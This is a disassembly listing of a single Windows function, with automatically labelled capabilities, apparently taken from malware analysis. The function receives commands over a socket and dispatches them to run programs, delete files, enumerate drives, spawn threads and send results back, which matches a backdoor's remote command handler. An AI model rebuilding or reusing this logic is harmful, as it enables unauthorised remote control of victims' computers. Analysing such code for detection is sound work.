Function at 0x4073c0
Capabilities:
Create process on windows
Delete file
Get disk information
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x12a
push 0
push 0
dec ecx
jne 0x4073c8
push ebx
push esi
push edi
mov ebx, eax
mov ecx, 0x65
lea eax, [ebp - 0x8f8]
mov edx, dword [section.CODE]
call fcn.00403d34
mov edi, 0x40a72c
xor eax, eax
push ebp
push 0x407d20
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0x78
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x764]
call fcn.0040454c
lea edx, [ebp - 0x764]
mov eax, dword [ebx + 4]
call fcn.0040453c
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 0x764]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
jle 0x407cce
push 0
push 0x640
lea eax, [ebp - 0x65d]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_recv
test eax, eax
jle 0x407cce
lea eax, [ebp - 4]
lea edx, [ebp - 0x65d]
mov ecx, 0x641
call fcn.004038c0
lea eax, [ebp - 0x65d]
mov edx, 0x641
call fcn.004044c4
jmp case.0x4074f3.0
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x407d38
call fcn.00403c1c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00403b38
mov edx, dword [ebp - 4]
mov eax, 0x407d38
call fcn.00403c1c
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00403b78
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0x14]
call fcn.00405f60
lea edx, [ebp - 0x8f8]
mov ecx, 0x64
mov eax, dword [ebp - 0x14]
call fcn.00405fcc
mov eax, dword [ebp - 0x18]
call fcn.00405868
cmp eax, 0x16
ja case.0x4074f3.0
jmp dword [eax*4 + 0x4074fa]
lea edx, [ebp - 0x8fc]
mov eax, 0x16
call fcn.00405874
push dword [ebp - 0x8fc]
push 0x407d44
lea eax, [ebp - 0x904]
push eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8f4]
call fcn.00403c1c
push eax
mov eax, dword [ebp - 0x14]
call fcn.004038d8
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00403b38
mov edx, dword [ebp - 0x904]
lea ecx, [ebp - 0x900]
mov eax, dword [ebp - 0x8f8]
call fcn.0040562c
push dword [ebp - 0x900]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403998
push 0
mov eax, dword [ebp - 0x14]
call fcn.004038d8
push eax
lea eax, [ebp - 0x14]
call fcn.00403b30
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_send
push 0x7d0
call sub.kernel32.dll_Sleep
push 0
call sub.kernel32.dll_ExitProcess_1
call fcn.004059d8
mov eax, dword [ebp - 0x8f8]
mov edx, 0x407d50
call fcn.00403a24
jne case.0x4074f3.0
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_closesocket
jmp case.0x4074f3.0
lea eax, [ebp - 0x14]
mov ecx, 2
mov edx, 1
call fcn.00403b78
mov eax, dword [ebp - 0x14]
call fcn.004060d4
test al, al
je case.0x4074f3.0
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
call fcn.004066ec
mov edx, dword [ebp - 0x1c]
mov eax, 0x407d44
call fcn.00403c1c
mov esi, eax
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, esi
call fcn.00403b78
lea edx, [ebp - 0x1c]
mov ecx, esi
mov eax, 0x407d5c
call fcn.00403bc0
mov edx, dword [ebp - 0x1c]
mov eax, 0x407d44
call fcn.00403c1c
test eax, eax
jne 0x407652
mov eax, 9
call fcn.00402a80
inc eax
imul esi, eax, 0x3e8
mov eax, 0x1f4
call fcn.00402a80
add esi, eax
lea edx, [ebp - 0x90c]
mov eax, 7
call fcn.00405874
push dword [ebp - 0x90c]
push 0x407d68
mov eax, dword [ebp - 0x14]
call fcn.0040630c
lea edx, [ebp - 0x910]
call fcn.00405874
push dword [ebp - 0x910]
push 0x407d44
lea edx, [ebp - 0x914]
mov eax, dword [0x4090d4]
call fcn.00405874
push dword [ebp - 0x914]
push 0x407d44
push dword [ebp - 0x1c]
push 0x407d38
lea eax, [ebp - 0x908]
mov edx, 8
call fcn.00403998
mov edx, dword [ebp - 0x908]
mov eax, ebx
call fcn.00407dd0
mov eax, edi
mov edx, dword [ebp - 0x14]
call fcn.004037b8
lea edx, [ebp - 0x918]
mov eax, dword [ebx + 4]
call fcn.004067d4
mov edx, dword [ebp - 0x918]
lea eax, [edi + 4]
call fcn.004037b8
mov eax, dword [0x4090d4]
mov dword [edi + 8], eax
mov dword [edi + 0x14], esi
mov eax, dword [ebp - 0x14]
call fcn.0040630c
mov dword [edi + 0x10], eax
mov eax, 0x407d6c
mov dword [0x40a754], eax
push 0x407d7c
call sub.kernel32.dll_LoadLibraryA
mov dword [0x40a758], eax
mov eax, dword [0x40a754]
push eax
mov eax, dword [0x40a758]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [0x40a764], eax
lea eax, [ebp - 0x10]
push eax
push 0
push edi
push 0x4063ac
push 0
push 0
call dword [0x40a764]
jmp case.0x4074f3.0
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8f4]
call fcn.00403c1c
push eax
mov eax, dword [ebp - 0x14]
call fcn.004038d8
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00403b38
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x407d94
call fcn.00403c1c
add eax, 2
push eax
mov eax, dword [ebp - 0x14]
call fcn.004038d8
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00403b38
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x407d94
call fcn.00403c1c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.00403b38
mov eax, 9
call fcn.00402a80
inc eax
imul esi, eax, 0x3e8
mov eax, 0x1f4
call fcn.00402a80
add esi, eax
lea edx, [ebp - 0x920]
mov eax, 7
call fcn.00405874
push dword [ebp - 0x920]
push 0x407da0
push dword [ebp - 0x8f8]
push 0x407d44
lea edx, [ebp - 0x924]
mov eax, esi
call fcn.00405874
push dword [ebp - 0x924]
push 0x407d44
push dword [ebp - 0x1c]
push 0x407d38
lea eax, [ebp - 0x91c]
mov edx, 8
call fcn.00403998
mov edx, dword [ebp - 0x91c]
mov eax, ebx
call fcn.00407dd0
mov eax, edi
mov edx, dword [ebp - 0x14]
call fcn.004037b8
lea edx, [ebp - 0x928]
mov eax, dword [ebx + 4]
call fcn.004067d4
mov edx, dword [ebp - 0x928]
lea eax, [edi + 4]
call fcn.004037b8
mov eax, dword [0x4090d4]
mov dword [edi + 8], eax
mov eax, dword [ebp - 0x14]
call fcn.0040630c
mov dword [edi + 0x10], eax
mov eax, 0x407d6c
mov dword [0x40a754], eax
push 0x407d7c
call sub.kernel32.dll_LoadLibraryA
mov dword [0x40a758], eax
mov eax, dword [0x40a754]
push eax
mov eax, dword [0x40a758]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [0x40a764], eax
lea eax, [ebp - 0x10]
push eax
push 0
push edi
push 0x406108
push 0
push 0
call dword [0x40a764]
jmp case.0x4074f3.0
lea eax, [ebp - 0x92c]
call fcn.00405d04
mov edx, dword [ebp - 0x92c]
mov eax, ebx
call fcn.00407dd0
jmp case.0x4074f3.0
lea eax, [ebp - 0x930]
call fcn.00405c78
mov edx, dword [ebp - 0x930]
mov eax, ebx
call fcn.00407dd0
jmp case.0x4074f3.0
lea eax, [ebp - 0x14]
mov edx, 0x12c
call fcn.00403c64
mov eax, dword [ebp - 0x14]
call fcn.00403ad8
push eax
push 0x12c
call sub.kernel32.dll_GetLogicalDriveStringsA
jmp 0x407a1f
lea edx, [ebp - 0x934]
mov eax, 0xc
call fcn.00405874
push dword [ebp - 0x934]
push 0x407d44
lea eax, [ebp - 0x938]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x407dac
call fcn.00403c1c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.00403b38
push dword [ebp - 0x938]
push 0x407d38
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00403998
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x407dac
call fcn.00403c1c
inc eax
push eax
mov eax, dword [ebp - 0x14]
call fcn.004038d8
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00403b38
push 0
mov eax, dword [ebp - 0x1c]
call fcn.004038d8
push eax
lea eax, [ebp - 0x1c]
call fcn.00403b30
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_send
lea eax, [ebp - 0x1c]
call fcn.00403764
mov edx, dword [ebp - 0x14]
mov eax, 0x407dac
call fcn.00403c1c
test eax, eax
jg 0x40797d
jmp case.0x4074f3.0
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8f8]
call fcn.00403c1c
push eax
mov eax, dword [ebp - 0x14]
call fcn.004038d8
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00403b38
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.004068f4
mov edx, 2
mov eax, dword [ebp - 0x14]
call fcn.004068f4
lea edx, [ebp - 0x93c]
mov eax, 0xd
call fcn.00405874
push dword [ebp - 0x93c]
push 0x407d44
push dword [ebp - 0x14]
mov eax, 0x40a748
mov edx, 3
call fcn.00403998
cmp dword [0x40a748], 0
je 0x407ad5
mov eax, dword [0x40a748]
call fcn.004038d8
mov edx, dword [0x40a748]
cmp byte [edx + eax - 1], 0x5c
je 0x407ad5
mov eax, 0x40a748
mov edx, 0x407db8
call fcn.004038e0
mov eax, 0x40a748
mov edx, 0x407d38
call fcn.004038e0
jmp case.0x4074f3.0
push 0
mov eax, dword [0x40a748]
call fcn.004038d8
push eax
mov eax, 0x40a748
call fcn.00403b30
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_send
jmp case.0x4074f3.0
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8f4]
call fcn.00403c1c
push eax
mov eax, dword [ebp - 0x14]
call fcn.004038d8
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00403b38
mov eax, dword [ebp - 0x8f8]
call fcn.00405868
push eax
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.00403ad8
push eax
push 0x407dbc
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4074f3.0
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8f8]
call fcn.00403c1c
push eax
mov eax, dword [ebp - 0x14]
call fcn.004038d8
mov ecx, eax
mov eax, dword [ebp - 0x14]
pop edx
call fcn.00403b38
mov eax, dword [ebp - 0x14]
call fcn.00403ad8
push eax
call sub.kernel32.dll_DeleteFileA
jmp case.0x4074f3.0
mov eax, dword [ebp - 0x8f8]
call fcn.00405868
call fcn.00406d04
lea edx, [ebp - 0x940]
mov eax, 0x17
call fcn.00405874
mov edx, dword [ebp - 0x940]
lea eax, [ebp - 0x14]
mov ecx, 0x407dcc
call fcn.00403924
push 0
mov eax, dword [ebp - 0x14]
call fcn.004038d8
push eax
lea eax, [ebp - 0x14]
call fcn.00403b30
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_send
jmp case.0x4074f3.0
lea eax, [ebp - 0x944]
push eax
mov eax, dword [ebp - 0x14]
call fcn.004038d8
mov ecx, eax
mov edx, 4
mov eax, dword [ebp - 0x14]
call fcn.00403b38
mov eax, dword [ebp - 0x944]
call fcn.00407094
jmp case.0x4074f3.0
lea edx, [ebp - 0x948]
mov eax, 0x13
call fcn.00405874
push dword [ebp - 0x948]
push 0x407d44
lea eax, [ebp - 0x950]
push eax
mov eax, dword [ebp - 0x14]
call fcn.004038d8
mov ecx, eax
mov edx, 4
mov eax, dword [ebp - 0x14]
call fcn.00403b38
mov eax, dword [ebp - 0x950]
lea edx, [ebp - 0x94c]
call fcn.004071c0
push dword [ebp - 0x94c]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403998
lea ecx, [ebp - 0x14]
mov edx, 0x407d94
mov eax, 0x407d38
call fcn.0040732c
lea eax, [ebp - 0x14]
mov edx, 0x407d38
call fcn.004038e0
push 0
mov eax, dword [ebp - 0x14]
call fcn.004038d8
push eax
lea eax, [ebp - 0x14]
call fcn.00403b30
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_send
mov edx, dword [ebp - 4]
mov eax, 0x407d38
call fcn.00403c1c
test eax, eax
jg 0x407487
jmp 0x4073fd
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407d27
lea eax, [ebp - 0x950]
mov edx, 0x16
call fcn.00403788
lea eax, [ebp - 0x8f8]
mov ecx, 0x65
mov edx, dword [section.CODE]
call fcn.00403e14
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403788
lea eax, [ebp - 4]
call fcn.00403764
ret